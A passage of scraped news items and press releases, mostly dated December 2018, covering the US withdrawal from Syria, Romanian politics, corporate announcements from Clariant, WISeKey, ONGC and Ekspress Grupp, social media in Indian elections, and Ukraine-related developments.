could begin in next several weeks, the Wall Street Journal reported. Currently, there are more than 14,000 U.S. soldiers deployed in Afghanistan. The drawdown, if confirmed, would follow Trump's decision to completely pull all U.S. forces out of Syria. The Trump administration announced Wednesday that it has started returning U.S. troops home from Syria after claiming a victory in the fight against the Islamic State. Judecatorul Vladislav Clima, cel care i-a anulat mandatul lui Nastase, va decide si soarta Marinei Tauber Vladislav Clima, judecatorul Curtii de Apel Chisinau care a decis anularea alegerilor pentru Primaria Chisinau din 2018, dupa care tot el a validat mandatul lui Andrei Nastase un an mai [citeste mai departe] Muttenz, December 20, 2018 - Clariant, a world leader in specialty chemicals, today announced that it has signed a Memorandum of Understanding (MoU) with Saudi Kayan, a Saudi joint stock company leading in the field of chemicals, polymers and specialty products. As defined by the MoU, both parties have agreed to evaluate the formation of a joint venture with the aim of establishing a manufacturing facility for alkoxylates. This facility is planned to combine Clariant's alkoxylates production technology with Saudi Kayan's raw materials and would therefore be based within Saudi Kayan's Petrochemical Company complex in Jubail Industrial City, Saudi Arabia. Alkoxylates are a downstream product of ethylene oxide and are used in a variety of specialty applications in Clariant's home care, personal care and industrial applications segments. Saudi Kayan is an affiliate of Saudi Basic Industries Corporation (SABIC). SABIC is also Clariant's largest strategic anchor shareholder with a 24.99% stake. This MoU between Clariant and Saudi Kayan is a part of the further evaluation of additional collaborative businesses opportunities between Clariant and SABIC, as previously communicated by both parties. Stiri pe aceeasi tema - "Solicit public demisia lui Florin Citu, care a demonstrat ca nu are nicio urma de responsabilitate si a executat orbeste ordinele primite.Odata cu Citu ar trebui sa plece acasa si toti cei care l-au sustinut.Sigur ca azi ar fi potrivit sa ii cer si demisia lui Klaus Iohannis, dar nu o sa o fac, pentru - Dr. Hans Kluge, regional director of the World Health Organisation for Europe, emphasized on Tuesday that no healthcare system was ready when COVID-19 hit and that the biggest mistake was of states who didn't invest in public healthcare and didn't elaborate policies in the sector. The WHO - The EU Member States agreed on Friday, October 15, at the first meeting of the Digital Europe Program Committee, the work program for the European Digital Innovation Hubs (EDIH) for the next 3 years, the Authority for the Digitization of Romania (ADR) announced on Monday. At national level, - Klaus Iohannis nu considera ca alegerile anticipate sunt o solutie Klaus Iohannis. Foto: Presidency.ro. Presedintele Klaus Iohannis nu este increzator ca prima runda de consultari cu partidele parlamentare programata pentru luni se va incheia cu o solutie pentru deblocarea - Presedintele Camerei Deputatilor a declarat marti, dupa adoptarea motiunii de cenzura, ca Florin Citu a ramas repetent la examenul parlamentar iar Romania are nevoie urgent de un guvern stabil. De asemenea, Orban a anuntat public ca cere refacerea coalitiei cu USR si UDMR."Romania - Pe masura ce se discuta tot mai intens in Romania despre vaccinarea anti-Covid si despre varianta ca un astfel de pas ar putea deveni obligatoriu, s-a aflat ca in Slovenia Curtea Constitutionala a suspendat demersul guvernului ce viza vaccinarea impotriva COVID-19 obligatorie in randul angajatilor din - The European Commission is giving the greenlight to Romania's National Plan for Recovery and Resilience, said the President of the European Commission, Ursula von der Leyen, during a joint press conference with President Klaus Iohannis and Prime Minister Florin Citu. Today, the European Commission - President of the European Commission Ursula von der Leyen will come to Bucharest on September 27, which means that the National Recovery and Resilience Plan (PNRR) is approved for Romania, Prime Minister Florin Citu stated on Friday. "Ms. Ursula von der Leyen announced her program and will Press release Geneva, December 20, 2018 WISeKey's CEO, Carlos Moreira to Present at the Geneva Annual Blockchain Congress on January 21, 2019 WISeKey International Holding Ltd ("WISeKey", SIX: WIHN, OTCQX: WIKYY), a leading cybersecurity and IoT company, today announced its participation at the Geneva Annual Blockchain Congress to be held on January 21, 2019 at the Palexpo Convention Centre in Geneva. Other speakers are: Don Tapscott, Co-Founder and Chairman of the Blockchain Research Institute (CA), Patrick Odier, Associate at Banque Lombard Odier (CH), Daniel Haudenschild, CEO of Swisscom Blockchain (CH), and Jarod Koopman, Director of Cybercrime, Internal Revenue Services, Criminal Investigation (USA). These five personalities will present their visions of the Blockchain revolution and will discuss concrete solutions as they apply to four fields of activity: identity & e-government, education, FinTech, and raw material sourcing & supply chain. Presenter bios: Don Tapscott, the world's most influential digital thinker Co-Founder and Chairman of the Blockchain Research Institute (BRI), Don Tapscott is one of the foremost experts in the field of new technologies and their impact on business and society. Author of 16 books, including Wikinomics: How Mass Collaboration Changes Everything (translated into over 25 languages) and Blockchain Revolution (the global best seller on blockchain translated into over 15 languages), he was one of the first intellectuals to focus on blockchain technology and cryptocurrencies. Since he sees Blockchain as not just a new technology, but rather a true revolution, he joined his son Alex Tapscott in co-founding the BRI, an independent organisation including international experts of which the objective is to provide concrete solutions to both the private and public sectors. He is a guest of WISeKey. Patrick Odier, a major Swiss figure of finance and philanthropy Chairman of the executive board since January 2014, Patrick Odier has been the senior managing partner of Groupe Lombard Odier since July 2008. He joined the group in 1982 and finished his training in Zurich, New York City and Montreal before becoming a managing partner in 1986. He holds an economic degree from the University of Geneva and an MBA in finance from the University of Chicago. Patrick Odier was chairman of the Swiss Bankers Association from 2009 to 2016. He is a member of the executive board and the board of directors of economiesuisse (a federation of Swiss companies). He is also a member of the executive board of several Swiss and international academic institutions and philanthropic organizations. Daniel Haudenschild, key expert in FinTechs Daniel Haudenschild is the CEO of Swisscom Blockchain AG. With more than 20 years of experience as a consultant for the "Big Four" in his role as consulting partner at the financial department of Ernst & Young, Daniel Haudenschild is a key expert in areas such as technological transformation, FinTech strategy and digital solution development. Jarod Koopman, head of cybercriminality at the bureau of Criminal Investigation of the Internal Revenue Services, a federal governmental agency in the United States Bearing an accounting degree with a major in finance, economy and information systems, Jarod Koopman began his career as a special surveillance agent, and has worked on a number of penal cases. He was quickly recognised and sought out for his skills and knowledge, particularly in matters of financial criminality, money laundering, tax evasion and terrorist financing. He leads criminal investigations in such a way as to reinforce trust in the fiscal system and to dissuade infractions to fiscal law. Today he oversees the IRS-CI (Internal Revenue Service Criminal Investigation) for which he has created a new inquiry department. Carlos Moreira, national and international cybersecurity specialist Co-founder and CEO of WISeKey, Carlos Moreira is one of the pioneers of the international digital scene. His 17 years of cybersecurity work for the United Nations and his extensive experience in the diplomatic community have enabled him to become a cybersecurity expert. Driven by the conviction that the Internet should remain a universal network and yet a secure one, he examines the technologies that can provide this security. His work also extends to philanthropic projects. Programme and ticket sales available on the website. Contact Palexpo SA: Adeline Beaux, Project manager +41 22 761 10 95, adeline.beaux@palexpo.ch Maud Couturier, Press and public relations manager +41 22 761 10 92, maud.couturier@palexpo.ch ABOUT WISEKEY: WISeKey (SIX: WIHN; OTCQX: WIKYY) is a leading global cybersecurity company currently deploying large scale digital identity ecosystems with a patented process. WISeKey's Swiss based cryptographic Root of Trust ("RoT") provides secure authentication and identification, in both physical and virtual environments, for the Internet of Things, Blockchain and Artificial Intelligence. The WISeKey RoT serves as a common trust anchor to ensure the integrity of online transactions among objects and between objects and people. For more information, visit www.wisekey.com. To receive WISeKey's latest news, subscribe to our Newsletter or visit the WISeKey Investors Corner. Press and investor contacts: WISeKey International Holding Ltd Company Contact: Carlos Moreira Chairman & CEO Tel: +41 22 594 3000 info@wisekey.com WISeKey Investor Relations (US) Contact: Lena Cati The Equity Group Inc. Tel: +1 212 836-9611 lcati@equityny.com Disclaimer: This communication expressly or implicitly contains certain forward-looking statements concerning WISeKey International Holding Ltd and its business. Such statements involve certain known and unknown risks, uncertainties and other factors, which could cause the actual results, financial condition, performance or achievements of WISeKey International Holding Ltd to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements. WISeKey International Holding Ltd is providing this communication as of this date and does not undertake to update any forward-looking statements contained herein as a result of new information, future events or otherwise. This letter does not constitute an offer to sell, or a solicitation of an offer to buy, any securities, and it does not constitute an offering prospectus within the meaning of article 652a or article 1156 of the Swiss Code of Obligations or a listing prospectus within the meaning of the listing rules of the SIX Swiss Exchange. Investors must rely on their own evaluation of WISeKey and its securities, including the merits and risks involved. Nothing contained herein is, or shall be relied on as, a promise or representation as to the future performance of WISeKey. New Delhi: The ONGC board will this week consider a demand from the government to list its overseas investment arm ONGC Videsh on bourses, but an IPO of the firm is ruled out in near future as it will have to first separate assets in sanction-hit nations and take approval of lenders. The Oil and Natural Gas Corp (ONGC) board is meeting on December 20 and 21 to consider among other things a share buyback. The board will also be appraised of a demand from the Department of Investment and Public Asset Management (DIPAM) for the listing of OVL, sources with direct knowledge of the development said. The listing, which will involve an initial public offering (IPO) being floated, may not happen in near future for multiple reasons. These range from markets are not being right for an oil and gas exploration and production company to list, to complexities involved in getting a firm like OVL to be listed. OVL, sources said, has assets in countries like Venezuela, Iran, and Sudan, which are exposed to some or other western sanctions. These assets will have to be first separated from the company. While this may not be a difficult task, but it would involve issues of capital gains and tax thereon, they said. Also, OVL is heavily under debt and such a move would require taking approval of all the lenders - yet another tedious job. A third of its USD 28.45 billion (Rs 1.51 lakh crore) investment in 41 projects in 20 countries has been financed by loans. More importantly, OVL has been only in acquisition mode till now and hasn't yet reached a last economic model where it can stand on its own feet. The company is dependent on its parent for even guarantees for taking loans. OVL has great assets and it would reach that economic model once couple of its assets like the giant gas field in Mozambique starts production, they said. Sources said the matter being put up before the board is more of an academic exercise and may not necessarily translate into a decision on listing. OVL projects are in the development stage and an IPO will get the best value when these projects are monetised, they said. OVL's giant gas field in Mozambique will start production sometime in 2022 when two LNG trains of 12 million tonnes per annum capacity are set up and gas exported in cryogenic ships. Its Farzad-B gas field in Iran is on hold in view of US sanctions on the Persian Gulf nation. Also, its Venezuelan oilfields are producing much less than their potential, he said. According to a letter the Department of Investment and Public Asset Management (DIPAM) wrote to ONGC management in August that the listing of OVL would help unlock value by improving its corporate governance and efficiency. ONGC had helped the government meet its disinvestment target last fiscal when it bought a 51.11 percent stake in state-owned Hindustan Petroleum Corp Ltd (HPCL) for Rs 36,915 crore. After failing to find a buyer for Air India, DIPAM is again looking at ONGC to meet the Rs 80,000 crore revenue mobilisation target set out for it in the Budget for 2018-19 from the sale of government stake in PSUs. OVL, which is 100 percent owned by ONGC, has so far invested Rs 1.5 lakh crore (USD 28.36 billion) in 41 projects it has across 20 countries. In the letter, DIPAM said PSUs with a positive network and no accumulated losses should be listed to unlock value. It, however, did not state how much stake in OVL should be sold for its listing. Market regulator Sebi calls for a minimum 25 percent public float for a listed company. Sources said proceeds of a potential listing of OVL would accrue to its parent ONGC but the government would seek a special dividend to reap that. The government owns 67.45 percent in ONGC. If ONGC were to declare entire proceeds of OVL listing as a special dividend, the government would get 67.45 percent of it. The government had in 2015 as well asked ONGC to list OVL. But the state-owned firm had at that time told the government that it was not the right time to list as oil prices were subdued and the company would not get the right value. Oil prices have since rebounded and the government is looking to cash in on that. Under its portfolio, OVL has reserves of 711 million tonnes of oil and oil equivalent natural gas. In 2017-18, it produced 9.35 million tonnes of crude oil, up from 8.43 million tonnes in the previous year. Together with natural gas, the output was 14.16 million tonnes of oil equivalent, up from 12.80 million tonnes in the previous year. ?It reported a net profit of Rs 981 crore on a turnover of Rs 10,418 crore in 2017-18 fiscal. This compared with a net profit of Rs 701 crore on a turnover of Rs 10,080 crore in the previous fiscal. It had reported a net loss of Rs 3,633 crore in 2015-16 due to a sharp drop in oil prices. New Delhi: The government is likely to make additional capital infusion in the public sector banks, Economic Affairs Secretary Subhash Chandra Garg said Wednesday. This will be over and above Rs 1.35 lakh crore capital infusion announced by the government for the public sector banks (PSBs) in October last year to meet global capital risk norms called Basel III. Asked whether the government is considering to make additional capital infusion in PSBs, Garg said, "Yes...Wait for the supplementary which is coming up tomorrow. Most probably tomorrow". Additional capital infusion would be done through recapitalisation bonds as has been the practice since October 2017. This does not have any impact on the fiscal position of the government as recap bonds are part of below the line items. According to sources, the government is considering additional capital infusion of up to Rs 30,000-40,000 crore in PSBs as they have been unable to raise required funds from the markets. As part of the capital infusion plan announced by the Finance Ministry in October 2017, the government envisaged that public sector banks (PSBs) would raise Rs 58,000 crore from the stock markets by March 2019 to meet Basel III norms. However, due to subdued market conditions, banks have been unable to raise enough funds from the markets so far. In addition, non-performing assets of many banks have seen a spurt in the first two quarters of this fiscal, putting stress on their bottom lines. However, the banks have got a breather in respect of Capital Conservation Buffer (CCB), a part of Basel III norms. The RBI, at its last board meeting of November 19, deferred the requirement to meet the CCB target by one year, leaving about Rs 37,000 crore in the hands of banks. Despite this relaxation, PSBs need more funds to meet global capital norms called Basel III as the RBI has retained the capital to risk weighted assets ratio (CRAR) at 9 percent, sources said, adding that the shortfall could be around Rs 30,000 crore. The government had decided to take a massive step to capitalise PSBs to the tune of about Rs 2,11,000 crore over the next two years -- through budgetary provisions of Rs 18,139 crore, recapitalisation bonds of Rs 1,35,000 crore, and the balance through raising of capital by banks from the market while diluting government equity estimated at Rs 58,000 crore. As per this plan, the remaining capital infusion is about Rs 42,000 crore. Earlier this year, the government pumped in Rs 11,336 crore into five PSBs -- PNB, Allahabad Bank, Indian Overseas Bank, Andhra Bank and Corporation Bank -- to improve their financial health. JAIPUR/TONK: When India votes in a general election next year, it will be the world`s largest democratic exercise, and the biggest ever test of the role of social media in an election. As the ruling Bharatiya Janata Party (BJP) readies for battle with the newly energised Congress party-led opposition in the election that must be held by May, the role of Facebook, Twitter and WhatsApp could be crucial in deciding who wins. India already has close to 900 million eligible voters, and an estimated half-a-billion have access to the Internet. The country has 300 million Facebook users and 200 million on Facebook`s WhatsApp messaging service - more than any other democracy. Millions use Twitter. "Social media and data analytics will be the main actors in the upcoming India elections. Their use would be unprecedented as both parties now use social media," said Usha M Rodrigues, a communications professor at Deakin University in Melbourne, Australia, whose research has focused on social media and Indian politics. The potential for abuse is also immense, with incendiary news and videos capable of fanning violence in the sprawling multi-religious and multi-ethnic nation. Fake news and messages circulated on social media have led to more than 30 deaths since last year, data portal IndiaSpend says, mostly rumours about child kidnapping gangs. Political differences have in the past been no less deadly. "Social media discourse, already bitter, will turn bilious," Milan Vaishnav, a senior research fellow at the Carnegie Endowment for International Peace in Washington, said of the coming campaign for the general election. "It will be no-holds-barred on social media given that the opposition smells blood and the ruling party has its back against the wall." Both the main parties accuse each other of propagating fake news while denying they do so themselves. Nevertheless, the battle lines between them are clearly drawn. Congress has attacked Prime Minister Narendra Modi`s economic policies and his party`s Hindu nationalist ideology, while the BJP dismisses the Congress as incompetent liberals out of touch with the people. This month, Congress won elections in three major states that have been the bastion of the BJP, setting the stage for a tight contest in 2019. Helping the opposition party was a revamped social media strategy. WAR ROOMS At the last election in 2014, Congress was crushed by the techno-savvy Modi and his array of social media weapons, including a flurry of tweets from his personal account, a BJP campaign on Facebook and holographic displays of Modi in remote villages. Congress leader Rahul Gandhi got a Twitter account only in 2015. But the opposition party is catching up and the playing field has gotten a lot bigger. Volunteers of India''s main opposition Congress party monitor TV news channels and social media inside their war room which was setup for a state assembly election, in Jaipur (REUTERS PHOTO) India now has 450 million smartphone owners against 155 million at the last election in 2014, according to Counterpoint Research. That`s more than the entire population of the United States, the crucible for election campaigns on social media. Reuters visited one of the hubs of Congress`s online operations in Rajasthan, one of the three states it won this month - a drab three-bedroom apartment up a dimly lit staircase in the city of Jaipur. Inside, party workers tracked news channels and social media posts on a wall of television screens. A three-member team of audio, video and graphic experts designed campaign material that was posted to public websites, while other volunteers used WhatsApp to send instructions to party workers. "We were kids back then, but we are going to outmanoeuvre them now," said Manish Sood, 45, who runs his own social media marketing business and was managing the Congress volunteers at the Jaipur war room. Still, fighting Modi online isn`t easy. With 43 million followers on Facebook and 45 million on Twitter globally, he is among the world`s most followed politicians. Congress`s Gandhi still only has 8.1 million followers on Twitter and 2.2 million on Facebook. A request by Reuters to visit the BJP`s social media centre in Jaipur was declined, but a member of the party`s Rajasthan state IT unit, Mayank Jain, said it ran similar social media operations from two city apartments. "Congress understands social media a bit now, but they do not have the volunteer manpower," Jain said in an interview, showing dozens of BJP WhatsApp groups on his phone, one of which was named "BJP RAJASTHAN`S Warriors". RISE OF WHATSAPP While Twitter and Facebook were embraced by Indian politicians - mainly in the BJP - in 2014, it`s WhatsApp that has now become the social media tool of choice. In Jaipur city and the nearby town of Tonk, where traditional methods like public speeches and poster campaigns were widely used during the state poll, Congress and BJP party workers showed a Reuters reporter dozens of WhatsApp groups they were part of and used for campaigning. Congress said its volunteers managed 90,000 WhatsApp groups in Rajasthan, while the BJP said it controlled 15,000 WhatsApp groups directly, with its workers campaigning through roughly another 100,000 groups. But WhatsApp has been at the centre of controversy. After the false child kidnap messages were spread on the platform in India, it was flooded with falsehoods and conspiracy theories ahead of the October election in Brazil. WhatsApp`s end-to-end encryption allows groups of hundreds of users to exchange texts, photos and video beyond the purview of authorities, independent fact checkers or even the platform itself. "WhatsApp is the biggest challenge for us right now on the social media front," said Nitin Deep Blaggan, a senior police officer in charge of monitoring online content in Jaipur. WhatsApp has limited the number of messages a user can forward in one go to 20 but in India specifically, the ceiling was fixed at five. The company blocked "hundreds of thousands" of accounts in Brazil during the election period, and the same was expected ahead of India polls, a source aware of the company`s thinking said this month. "We have engaged with political organizers to inform them that we will take action against accounts that are sending automated unwanted messages," Carl Woog, WhatsApp`s head of communications, told Reuters in a statement. He did not name any parties. A Facebook spokeswoman said the company was "committed to maintaining elections integrity" and making efforts to "weed out false news". Twitter said it had made efforts to protect the electoral process and better detect and stop malicious activity. During the Rajasthan election, police ran a 10-man social media monitoring unit, tracking tweets and Facebook posts related to the state polls. Inside the monitoring room, the posts were shown on wall-mounted screens and automatically filtered into neutral, positive or negative sections. The negative posts received special attention - they were manually checked and, sometimes flagged to senior police officers for further investigation and action. The sole aim, members of the monitoring team said, was to ensure that no online post spilled into violence. New Delhi: After repeated questioning by enforcement agencies for four years, the CBI on Thursday arrested Suman Chattopadhyay, editor of a leading Bengali daily, in connection with West Bengal's ICore chit fund scam, officials said here. Chattopadhyay, the editor of Ei Samay, was summoned to the CBI office in Kolkata after several rounds of questioning and was placed under arrest by officials, they said. The scribe, who is also a director in Disha Productions and Media Private Limited (DPMPL), was questioned in an on-going investigation of a case registered against the ICore Group, a Ponzi scheme company. The investigation has revealed that funds collected illegally by the ICore Group were allegedly diverted in the accounts of DPMPL as well as the personal account of Chattopadhyay. The arrested scribe will be produced Friday before the Court of Special CJM in Bhubaneswar. It is alleged that he had allegedly taken "unsecured loans" from three "chit fund companies", including Saradha Group, and laundered it through two of his publishing companies, a Bengali daily and a Bengali magazine. After the arrest of Rose Valley chairman Gautam Kundu in 2015, the West Bengal Police had arrested managing director of ICore group Anukul Maiti for allegedly running Ponzi schemes. The journalist has been earlier grilled by the CBI as well as the Enforcement Directorate along with his wife Kasturi in connection with the Saradha financial scam. The allegation against him was that after taking a loan of Rs 5 crore from Saradha Group of companies, he borrowed money from two other chit fund groups to return the money. He has been booked for alleged money laundering and round-tripping of funds which entails creating bogus companies and routing illegal money using multiple transactions across Indian shores. The agency has alleged that ICore group which had allegedly raised over Rs 3,000 crore from people offering high returns on investments had diverted a portion of these funds through the company of Chattopadhyay who is a senior journalist in West Bengal, they said. The agency has taken over the probe in the matter ICore group in 2014 registering an FIR under IPC sections related to criminal conspiracy and cheating. The case was registered on the basis of a Supreme Court order in 2014 directing the agency to take over all the cases related to chit fund companies probed by the state police. Its directors Anukul Maity and his wife Kanika were arrested by the agency last year. Mumbai: A fire broke out at south Mumbai's luxury hotel Trident on late Wednesday night. Visuals from Mumbai: Fire breaks out in Trident Hotel at Nariman Point. More details awaited. #Maharashtra pic.twitter.com/PtEEoW3MB1 ANI (@ANI) December 19, 2018 The blaze was categorised as a Level-2 fire, said a fire brigade official. There were no reports of casualties. The fire has been brought under control, added the official. The fire broke out in the basement of the hotel. Rescue workers and fire tenders rushed to the spot. Latest visuals from Mumbai: Level-2 fire had broken out in Trident Hotel at Nariman Point, late night yesterday. Fire tenders present at the spot. No casualties reported till now. #Maharashtra pic.twitter.com/yzSpNffoMR ANI (@ANI) December 19, 2018 Details of the incident are awaited and fire brigade personnel have been rushed to the spot, the official said. On Monday, a massive fire broke out in the government-run ESIC Kamgar Hospital at Marol in suburban Andheri that claimed the lives of nine people and left 175 injured. English Estonian AS Ekspress Grupp enters a merge with itself the following subsidiaries: OU Ekspress Digital and OU Ekspress Finance. The goal of intra-group merger is to increase management efficiency and simplify the group's legal and governance structure. On December 19, 2018, AS Ekspress Grupp and its 100% subsidiaries, OU Ekspress Finance and OU Ekspress Digital signed a notarised merger agreement, agreeing that AS Ekspress Grupp as the acquiring company acquires all the assets and liabilities of OU Ekspress Finance and OU Ekspress Digital. OU Ekspress Finance and OU Ekspress Digital as merged companies will be liquidated upon the entry into force of the merger. The balance sheet date of the merger, that is, the time from which the transactions of the merging companies are considered on behalf of the acquiring company, is 01.10.2018. The aforementioned transaction will have no effect on the consolidated profit, assets and liabilities of the AS Ekspress Grupp. Notice on convening Extraordinary General Meeting of Shareholders Notice is hereby given that the Management Board of AS Ekspress Grupp (registry code 10004677, official address Parda 6, 10151 Tallinn) convenes the Extraordinary General Meeting of Shareholders, which will be held on 22nd January, 2019 at 10:00 at the seat of AS Ekspress Grupp, in the city of Tallinn, Parda 6, 6th floor. The registration of participants in the Meeting will commence at 9:30 at the location of the Meeting. Pursuant to the decision of the Supervisory Board of AS Ekspress Grupp, the Agenda of the Extraordinary General Meeting of Shareholders is as follows: Approval of the merger agreement between AS Ekspress Grupp, OU Ekspress Finance and OU Ekspress Digital The management board of AS Ekspress Grupp makes the following proposals to the shareholders about the items of the agenda: 1. Approval of the merger agreement between AS Ekspress Grupp, OU Ekspress Finance and OU Ekspress Digital To approve the merger agreement signed between AS Ekspress Grupp, OU Ekspress Finance and OU Ekspress Digital on December 19, 2018, which is proven by notary of Tallinn, Tea Turnpuu. The circle of shareholders entitled to attend the Extraordinary General Meeting will be determined 7 days prior to the General Meeting, i.e. on 14th January, 2019 at the end of the working day of the settlement system. All documents concerning the Extraordinary General Meeting of the Shareholders of AS Ekspress Grupp, including draft resolutions, are available on the homepage of AS Ekspress Grupp at www.egrupp.ee , as well as at the seat of AS Ekspress Grupp, Parda 6, Tallinn, 6th floor, on business days from 10:00 to 16:00 starting from the date of notification of the Extraordinary General Meeting until the date of the Extraordinary General Meeting (inclusive). At the Meeting, the shareholders are entitled to receive information on the activities of AS Ekspress Grupp from the Management Board. If the Management Board of AS Ekspress Grupp refuses to provide information, the shareholders may demand that the General Meeting decides on the legitimacy of their demand, or submit, within two weeks, an application to court in proceedings on petition to require the Management Board to provide the information. Shareholders whose shares represent at least 1/20 of the share capital are entitled to present a draft resolution on each agenda item to AS Ekspress Grupp at least 3 days prior to the General Meeting, i.e. until 18th January, 2019, by submitting it in writing to e-mail address: egrupp@egrupp.ee . Shareholders whose shares represent at least 1/20 of the share capital are entitled to request the inclusion of additional items in the agenda of the General Meeting of AS Ekspress Grupp, provided that the request is submitted 15 days prior to the General Meeting at the latest, i.e. until 6th January, 2019, by submitting it in writing to e-mail address: egrupp@egrupp.ee . As at 20th December, 2018, the share capital of AS Ekspress Grupp is 17,878,104.60 euros. The total number of shares is 29,796,841, with each share granting one vote. The right to vote is not granted to AS Ekspress Grupps 17,527 own shares. For the registration of participants in the Extraordinary General Meeting of Shareholders, we kindly ask: shareholders who are natural persons to present an identity document (e.g. passport or ID card) and representatives of shareholders who are natural persons to present an identity document and a written document certifying their authorisation; representatives of shareholders who are legal persons to present an extract (or other such document) from the relevant (commercial) register where the legal person is registered (issued no more than 7 days prior to presenting), and the identity document of the representative. In the case of legal persons registered in a foreign country, the extract from the register must be legalised or certified by an apostil, unless stipulated otherwise in international agreements. Transactional representatives of shareholders who are legal persons must, in addition to the aforementioned documents, present a written document certifying their authorisation. AS Ekspress Grupp may also register a shareholder who is a legal person in a foreign country as a participant in the General Meeting if all the required data concerning the legal person and the representative is contained in a notarised authorisation document issued in the foreign country and the authorisation document is acceptable in Estonia. Prior to the General Meeting, shareholders may give notice of the appointment of a representative and the withdrawal by the principal of the authorisation via e-mail to the address egrupp@egrupp.ee or by delivering the aforementioned document(s) to the seat of AS Ekspress Grupp at Parda 6, Tallinn, 6th floor (on business days from 10:00 to 16:00) by 16:00 on 21st January, 2019 at the latest, using the templates available on the homepage of AS Ekspress Grupp, www.egrupp.ee . Information on the procedure of appointment and revocation of the authorisation of representatives is available on the homepage of AS Ekspress Grupp, www.egrupp.ee . Mari-Liis Ruutsalu AS Ekspress Grupp Chairman of the Management Board +372 512 2591 mariliis.ryytsalu@egrupp.ee AS Ekspress Grupp is the leading media group in the Baltic States that owns the most well-known online media portals in Estonia, Latvia and Lithuania, publishes the most popular newspapers and magazines and arranges their home delivery in Estonia. In addition to its own periodicals, it also provides printing services to other Estonian and foreign customers. At the end of 2017, the Group gave a job to more than 1,600 people and 2017 sales revenue amounted to 64 million euros. Attachments Mumbai: Actor Samir Soni has joined the cast of upcoming web series 'Cartel', which also stars Vivek Oberoi, Kubra Sait, Sheeba Chaddha and Ravi Kishan. ALTBalaji's 'Cartel' is about gangsters, greed and guns. It is a saga of love and relationships set in a world of hate and deceit. "My character in 'Cartel' is easily the most sinister one that I've played in my life. I'm super excited that people will see me like they have never seen me before. It's a great team together with Vivek and other people," Samir said in a statement. "I've loved watching the show 'Bose: Dead/Alive' and its director, Pulkit, happens to direct this series too. This is going to be my third show with ALTBalaji. (Producer) Ekta Kapoor always brings out the best in me. And I'm really grateful to Ekta for casting me for this role." Samir has also worked on web series 'Bewafaa Sii Wafaa' and 'Puncch Beat'. WASHINGTON: The Donald Trump-led US administration announced that it has started returning US troops home from Syria after claiming a victory in the fight against the Islamic State (IS) without revealing any detailed timetable. "We have started returning US home as we transition to the next phase of this campaign," said White House Spokesperson Sarah Sanders in a statement on Wednesday, claiming that America has "defeated the territorial caliphate". Pentagon later echoed the White House claim, saying that the US military has already begun the process of bringing the US forces back while emphasizing the continuity of the campaign, Xinhua news agency reported. "The Coalition has liberated the IS-held territory, but the campaign against IS is not over," Pentagon spokeswoman Dana White said in a tweet. All US State Department personnel are being evacuated from Syria within 24 hours, informed sources said. An official also revealed that the time-frame for the troops withdrawal from the war-torn Arab country is expected to be between 60 and 100 days. However, a senior Trump administration official, during a background briefing held on Wednesday afternoon, did not directly answer reporters` questions on how the administration intends to withdraw the troops or whether there will a deadline for that. Sanders` statement came about one hour after US President Donald Trump hinted in a tweet about imminent US troop withdrawal from Syria. "We have defeated the IS in Syria, my only reason for being there during the Trump Presidency," Trump tweeted on Wednesday morning. Earlier on Wednesday, the US media cited anonymous officials as saying that the US is planning a "rapid" and "full" withdrawal of troops from Syria. Currently, there are more than 2,000 US soldiers deployed in Syria. Trump has long voiced his desire to bring the US troops back home when possible, while senior administration officials including Defence Secretary James Mattis have advocated for a longer-term military deployment in Syria to secure a victory against the IS. Meanwhile, the Trump administration`s claim about victory against the IS has been questioned. "I strongly disagree. It has morphed into other forms of extremism and the threat is very much alive," tweeted British Defence Minister Tobias Ellwood, following Trump`s claim on the social media. Senior Republican Senator Lindsey Graham warned "devastating consequences" for US troops quitting Syria. "An American withdrawal at this time would be a big win for IS, Iran, Bashar al Assad of Syria, and Russia," the lawmaker from the state of South Carolina said in a statement on Wednesday. Yevheniy Marchuk, newly appointed representative of Ukraine in the Trilateral Contact Group Radio Liberty screenshot Russia refused from the exchange of captives by the end of this year. Yevhen Marchuk, Ukraine's official representative in Minsk trilateral contact group said that at a briefing on Thursday. 'At 12 o'clock, on December 27, Ukraine is ready to exchange 23 on 23 [hostages], in an organized manner. That is, 23 Ukrainian captives, citizens of Ukraine serving time in the Russian prisons... on 22 Russians (as one recently deceased) who currently serve time for the tough crimes in the Ukrainian prisons. The Russian side did not and still does not agree, saying it has nothing to do with Donbas', Marchuk said. He added that the Russian side also rejected the '66 on 19' offer. 'There are 66 inmates who serve time here, and those 19 who stay in prisons on the occupied territories. Russia evades discussions on this matter, saying that they were not there. They want us to negotiate with them directly. When the representatives [of self-styled 'republics' join the conversation, they offer to exchange 'all for all'. But this procedure is not ready at the moment. There's a lot of obnoxious baits there', he said. Earlier, the Minsk trilateral contact group session took place on December 19. Ukraine and OSCE offered the ceasefire mode in Donbas, timed to the winter holidays' period. Last time the sides exchanged hostages on December 27, 2017. According to the SBU data, 73 people returned to Ukraine-controlled territory, while 233 returned to the occupied areas of Donbas. During the program, there will be no new tax exemptions or privileges, no reducing or altering corporate income taxation, etc. Ukraine would suspend the introduction of elements of the funded second pillar to the pension system for the period when the new Stand-By Arrangement (SBA) with the International Monetary Fund (IMF) is in effect. This is stated in the Memorandum of Economic and Financial Policies of the authorities of Ukraine, Interfax-Ukraine reports. "In early 2019, we will remove the caps on the base for the social security contribution assessments," the government said in the document. According to the document, there will be no granting of any tax amnesty for the period when the SBA is in effect, but this would not limit a possibility of holding the campaign of declaration of assets of individuals, which is subject to the preliminary approval of its conditions with the IMF. "During the program period we will refrain from: introducing new tax exemptions or privileges; reducing or altering corporate income taxation (CIT) directly or indirectly by replacing the CIT regime We will continue to work with IMF staff to develop proposals to improve corporate taxation and make the tax system more growth-friendly, but will not enact any legislation during the program period that changes our tax system such that it will undermine the fiscal sustainability," the Ukrainian authorities said in a letter of intent signed by the president, prime minister, finance minister and governor of the National Bank of Ukraine (NBU). The Finance Ministry of Ukraine said in a press release on Thursday that Ukraine will continue the dialogue with the IMF, looking for a possibility of introducing the exit capital tax in the fiscally neutral form, and the balanced and stable model of distributed profit taxation. As we reported earlier, the IMF published the text of the Memorandum on the economy and fiscal policy within the new program for 2018-2020. Earlier, the U.S. stated that it defeated the ISIS terrorists EPA / UPG Foreign Minister of Germany Heiko Maas criticized the decision of the U.S. to withdraw the troops from Syria. According to him, it jeopardizes the results, which have been previously achieved, as German Foreign Ministry reported. There is a danger, the consequences of this decision will harm the fight against the ISIS and will jeopardize the achieved results, he said. The minister emphasized that the terrorists in eastern Syria remain active, and emphasized the necessity of the political settlement. This is exactly why we work along with our partners work for the political process. The UN possesses leadership in this issue, he claimed. As we reported, president of U.S. Donald Trump proclaimed 